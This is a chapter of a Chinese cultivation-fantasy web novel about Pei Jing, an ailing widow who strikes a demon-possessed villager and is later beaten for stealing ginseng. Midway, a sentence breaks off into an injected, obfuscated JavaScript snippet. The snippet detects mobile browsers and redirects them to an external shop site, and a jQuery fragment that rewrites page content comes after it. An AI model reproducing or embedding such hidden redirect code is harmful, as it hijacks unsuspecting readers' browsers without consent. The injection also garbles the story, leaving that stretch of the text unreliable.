伞老三的身体像是一个破袋子,随着力道往后一摔,整个人扑进水中。
裴静闭着眼睛,只听得哗啦一声,有人提着她的衣领往边上一扯,周遭的声响骤然消弭。
“你在这里做什么?”带着怒意的声音传来,只见戚名霜提着剑站在一旁,上下打量她。
“戚大哥?”裴静下意识看向水边,倒在血泊中的伞老三没了反应,她瞬间吓得尖叫一声,双手抱着自己。
“他、他死了?是我吗……”
戚名霜闻言低下头,对上她呆愣的神情,惨白的脸上还沾着血,仿佛刚刚的一切都不是她做的,何其无辜。
裴静的手拼命地抖,她就是修炼的那几年也没有杀过生,后来更是外人眼中的农妇。
戚名霜走到血泊中,低头查看了一番,铃铛砸出的血坑还留在伞老三的脑袋上。人只剩了一口气,要是真的死了,裴静估计会疯,“没死,晕过去了。”
裴静手还在发麻,望着那头肥猪一样的身体,嚅嗫道:“为什么不死……”
“你说什么?”戚名霜看过来。
裴静冷着脸,没有一丝表情,从一开始的震惊中缓过来,取而代之的竟是一种讥讽的冷漠,她闭了闭眼,冲戚名霜笑了下:“没事。”
戚名霜一副并不关心的样子,“嗯,我是来拿东西的,那日有东西落在这里。”
裴静表情还是木木的,望着地上快要燃尽的火堆,火舌舔净了最后一丝柳昭的气息,“我带你去取。”
站在村口,裴静却没进去,“就在这里。”
戚名霜冷然的眸子看过来,只见村口的一棵树上迎风挂着一块牌子,正是他的东西,他抬手虚引,那块牌子就落到了手里。
“不是你的东西,连进门的资格都没有?”戚名霜默然,把牌子随意挂在腰上,“行,我走了。”
“等一等。”裴静忽然叫住他,“你现在在替何家做事?”
“你问这个做什么?”戚名霜没有回头,他腰间那块牌子是何家的,“这种事情,你知道得越少越好。”
话音未落,伞婶的声音从旁传来:“哟,回来了,这位是?”
伞婶和几个村里的妇女站在一起,纷纷投来稀奇目光,戚名霜一身白衣立在粗衣麻布的村民之间很扎眼,就是柳昭也没这等气质。
“这位少侠,看来不是一般人呢,是柳道长的朋友?”伞婶眼睛直溜溜转,语气亲昵,“静娘啊,你说说你,有这么好的资源不想着点咱们,帮忙引荐引荐?”
裴静有些为难,可戚名霜没有半点觉察的样子,只有她慌里慌张,“是、是柳昭的朋友。”
伞婶呵呵笑起来,可戚名霜连个表情都没有,抬腿就走。
裴静望着他的背影,视线落在他腰间的那枚牌子上,那应该是何家的给事牌,柳昭也曾经带回来过。
何家,裴静稀薄的修炼记忆告诉她,那是一个庞大的黑事机构,作奸犯科、惩恶扬善的差事都接,据说还和皇庭有些关系。
她和柳昭没什么钱,为了钱会接手一些江湖派发的任务,而柳昭当时接手的何家委托就是杀人。
另一边,戚名霜刚走到山口,就看见一瘸一拐往回走的伞老三,后者一边走一边捂着血流不止的头,“娘、娘……救命啊……”
戚名霜冷眼旁观,拿出那块牌子,感应到那妖怪的位置,只是这一次,他不需要到处奔波,那妖怪的位置就在身后。
*
“裴静!你给我出来!”伞婶尖锐的声音在门口响起,伴随着哐哐作响的砸门声,裴静家那老旧的破木门晃荡出好大的空隙。
冷清的房屋好几日没有人敲门了,门板上积着一层厚厚的灰,稍一动便扬起满地浮灰。
裴静耳朵本就不好,可这般大的动静她依旧听见了,走到门边,“什么事?”
“……呸呸呸!你还好意思说,你把我儿子的头砸成什么样子了,你给我出来!”
伞婶粗手粗脚,还想要直接用脚踹,下一刻,木门被打开,露出裴静那张脸——明明是正好的日头,屋子里面却显出一股冷灰的凄清,隐隐传来一股发霉的气味。
裴静没有梳头,青丝长到了小腿,雪白的皮肤有一半隐没在阴影中,只露出光洁小脸上的两粒眼珠。
“你、你这是什么表情?你家里死人了啊?这阴气森森的。”
村上的人都还不知道柳昭死了,多少还存着几分忌惮,不敢进来。
“不是说有事找我?您进来说啊。”裴静给自己倒了一杯水,孤零零坐在房中。
那消瘦的身板几乎要透出光来,冷清的美人皮相多了一丝鬼气,伞婶看着,竟然打了个哆嗦,“我先走了!晦气!”
门再一次被关上,裴静的背脊瞬间塌下来,她呼吸都带着一丝痛意,浑身肌肤都泛着钝痛——她身体不好,柳昭还在的时候每月都运功帮她调理,还要吃大量的药,两人想要孩子很多年,一直要不上。
现在柳昭死了,她更是没有活下去的念头,指不定多久之后,就会死。
死了就死了,但她连死都这么憋屈。
伞婶家里是做伞谋生的,院里晾着不少油纸伞,她一开门就看见屋内一片狼藉,油纸伞都破了,放眼望去没一把完好。
“老三!臭小子,你给老娘滚过来!”伞婶叉腰站在堂中,“你不来是吧,老娘来找你!你瞧瞧你,把我的伞弄成啥样了,你瞅你——啊!”
伞婶刚走没几步,被一个东西绊倒,低头一看竟然是一根手指头,她吓得不轻,连滚带爬地退后。
纸伞的废墟中,一个硕大的身躯迟缓移动,过了一会儿,“他”站起来,嘴里还舔着血:“吃、吃……”
“你吃什么?”伞婶发抖着问。伞老三站直了身子,比她高出两个头。
“吃、人。”伞老三回过神,拊掌哈哈大笑起来,“哎哟,娘,你吓傻了?”
伞婶还维持着方才受惊的姿态,“你、你要死啊!你吓死老娘了!”
伞老三坐下来,舔着唇瓣,捏起一颗果子塞进嘴里,“裴静说什么了?”
“还提呢,不知道哪根线搭错了,平时回话小心翼翼的,今日竟然给我拉下脸了。”伞婶喘着气,“听说有些妖怪会装成人,指不定就是她那死样。”
伞老三眯了眯眼睛,摸着被开了瓢的后脑勺,舔了舔唇。
夜幕降临,沉沉夜色里悬着几颗星子,裴静又被疼醒,她捂着发热的心口,回忆着适才那个梦境。
梦里,她没有遇见柳昭,而是专心修炼,到了和现在相仿的年岁,她已经成了元婴大仙,修炼登峰造极,身体也再无病痛。
“真是傻了。”裴静摸到枕头底下有两块铜板,还是决定去镇上买一点药。
家里的药早在柳昭还没回来的时候就已经见底,病情恶化得比她想象得还快。这副身体,早就不能再拖。
趁着夜色,她背着一个小小的包袱走到村口,浓密的芦苇丛中,隐约透出一个人头,随着芦苇丛摇曳,人影又慢慢消失。
她盯了会儿,向那片芦苇丛靠近,一个熟悉的人影站在那里,伞老三眼珠转了转,露出一个笑来。
裴静皱眉,只觉晦气,赶紧换了个方向。
*
太清宗,几个弟子一前一后御剑而出,都是柳昭昔日的同门,最终停在村口。
“请问柳昭的住所在哪里?”一个弟子问。
“柳昭?人没回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896430|212851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,家里只有他妻子。”
伞婶远远就听见了,凑上前:“你们找裴静的?”
弟子们略一回想,确定柳昭那个凡人发妻就叫这个名字,“是了,我们是来送东西的,请带路吧。”
伞婶好奇问道:“道长们,太清宗现在还收人吗?我有个儿子……”
“我们是奉命来的,不管其他事,只管带路。”那弟子颇为嫌弃地撤了两步。
伞婶眼珠子一转,看见那些弟子手里抱着一把剑,“哎呀这事不能说,那柳道长家出什么事了总能说吧?”
“柳师兄前些日子除妖,光荣殉亡了,我们是特地来给柳夫人送柳师兄的配剑的,这是师兄的遗愿。”
听弟子说完,伞婶的眸子一点点亮起来,眼底漫开毫不掩饰的幸灾乐祸。
“哎呀好好好!不过静娘今早出门了,你们把东西给我就行!都是邻里!”
几个弟子面面相觑,不想掺和这些妇人之间的龃龉,更不愿在凡尘俗世久待,把剑和包裹给了伞婶便离开了。
日上三竿,顶着烈阳,裴静终于到了集市,一处药房门口门庭若市,她也挤在人群之中。
只可惜她今天运气不好,药价偏高,原本够配半个月的药量,如今只够支撑一旬。
裴静坐在药房门口,看着那些达官贵人一买就是两斤人参,若是能得一株人参,她便又可以吊着性命活上一个月。
“咳咳咳……”裴静拿出一块帕子捂住嘴,咳出一口血,她习以为常地擦干净。
一个穿着靛蓝双面金鸡蜀绣袍的显贵经过,身后的药房掌柜还在谄媚相送:“老爷您放心,我这人参绝对保质保量,泡酒用再好不过!”
泡酒?
裴静好奇地看去,那显贵手上抱着一个盒子,肥润的人参就安放在里面,她握紧了拳头,一个莫名的念头冒了出来,她跟了上去。
那显贵买完人参,又去挑选鹿鞭。趁着他和摊贩交谈,裴静鼓起勇气,借着人群做遮掩,用巧劲折下一块人参。
可刚抓到手里,那显贵也发现了,她对上一双狭窄精明的眼睛,那眼睛里透出一股冷意。
“给我把她打死!”
咚。
粗布衣服蹭在地上,线头四散。她顾不上这些,死死攥紧拳头,那块人参被她捂热,她抬到嘴边,一口吞下。
苍白的手被踩出大片青紫,她一句话都不说。
“这人好像是个傻子呢。”有人说。
“傻子?我看是个疯子!你看她一句话都不说,连痛也不喊。”围观的人情绪高涨,人人都想要看好戏。
裴静闭上眼,一副任由打骂的模样。棍杖落下来,可她的身体比她想象得脆弱,一棍子落下,五脏六腑都传来撕裂般的痛感。
她没有办法,求生的本能驱使着她。裴静忽然记起,自己今天来是为了买药活命的,绝不能被打死在这里。
棍子高高举起,在头顶停住。
“等一等!”人群中冲出一个少年,猛然挤上来,一把握住棍子,“人参我买了!别打她了!”
显贵也觉得没趣,拿了钱便走。
少年赶紧凑上来,“这位姑娘,你没事吧?”
裴静没说话,少年这才发现她的右耳是萎缩的,他放大了声音又问了一句:“这位姑娘?”
裴静摇了摇头。
“原来是听不见,太可怜了。”少年叹息,“你别谢我,是戚大侠让我帮你的。”
一道高大的身影走上来,仙剑化作一把匕首别在腰间,笔挺劲瘦的身躯裹在寻常短衣之中,头戴一顶斗笠,看上去如同一名普通侠客。
“你偷东西了?”戚名霜张口便说,目光不带一丝温度地打量她。